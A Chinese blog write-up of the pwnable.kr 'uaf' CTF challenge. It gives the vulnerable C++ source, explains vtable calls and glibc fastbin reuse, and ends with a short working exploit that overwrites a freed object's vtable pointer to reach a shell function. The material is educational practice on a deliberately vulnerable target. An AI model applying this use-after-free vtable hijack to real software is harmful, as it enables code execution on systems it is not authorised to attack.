前言

大概一个月没有更新博客了,不过这段时间也并没有偷懒。写着实验室的文档,又刷了一些pwnable的题,然而感觉自己依然挺菜的,效率还是不高。

UAF的原理一直都知道,真正做题了之后才发现UAF的利用和堆分配是密不可分的。本题的难点在于需要理解C++的类、虚函数的反汇编知识,否则调试的时候可能有些晕,这些资料看Refs2即可。

Analysis

源代码

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh"); //0x000000000040117A
	}	
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				printf("%d",len);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

查看object 地址

  • object male : $rbp-0x38 -> 0x614c50

  • object woman : $rbp-0x38 -> 0x614ca0

虚函数的调用过程

虚函数代码&反汇编代码
			case 1:
				m->introduce();
				w->introduce();
				break;

object man的地址保存在rbp-0x38处,object man的地址为0x614c68;
object woman的地址保存在rbp-0x30处,object woman地址为0x614c58; 在调用m->introduce()时,1. 首先从rbp-0x38取出object man的地址,然后2.取出保存在该地址处的虚表的地址。3. 虚表地址+8即为introduce的偏移,保存在rdx中。4. 有了虚函数的地址后,再将object man的地址保存在rdi中即可完成调用,毕竟虚函数需要知道是谁调用了自己嘛。

由于C++中的对象通过new来产生的,因此两个object均在heap中,chunk大小均为0x20。由于他们均是Human的子类,因此Human的对象也会被创建,chunk大小为0x30。

对象在堆中的分布

object_chunk

虚表

vtable

Use After Free

在case 3中,free了两个object man 和object woman后,由于没有将对象指针置null,而在case 1中仍然可以使用这两个指针,因此会触发Use After Free漏洞。

使用case 3将object man和object woman free后,将会产生 4个fastbin。大小是0x32,0x20,0x32,0x20。继续使用case 2可以重用这些bin。

根据glibc的malloc规则,x64程序如果再申请小于0x18(3*0x8)个byte的chunk,则会将object woman的0x20byte的bin分配出去。继续申请小于0x18(3*0x8)个byte的chunk,则会将object man的0x20byte的bin分配出去。注意,使用case 2时,需要至少复制3个字节才能将地址read进去。

关键部分来了,使用case 2来分配两个chunk后,成功占位了原来object man和object woman的chunk位置。如果覆盖了原始object的vtable,那么就可以在case 1 时,劫持控制流。

调用introduce函数本质上是进行如下操作: 获取chunk的*vtable -> *vtable+8(introduce)。因此,将chunk的*vtable修改为*vtable-8,那么调用introduce时,进行的操作即是:*vtable-8 -> *vtable -8 + 8 (giveshell)。

exp

$ ssh uaf@pwnable.kr -p2222
$  python -c  'print "\x68\x15\x40\x00\x00\x00\x00\x00"' > /tmp/thinkycx  | cat /tmp/thinkycx
$ ./uaf 3 /tmp/thinkycx
$ 3 2 2 1 

Refs

  1. https://gist.github.com/ihciah/3c157f18f49bd2287470

  2. http://blog.csdn.net/qq_20307987/article/details/51511230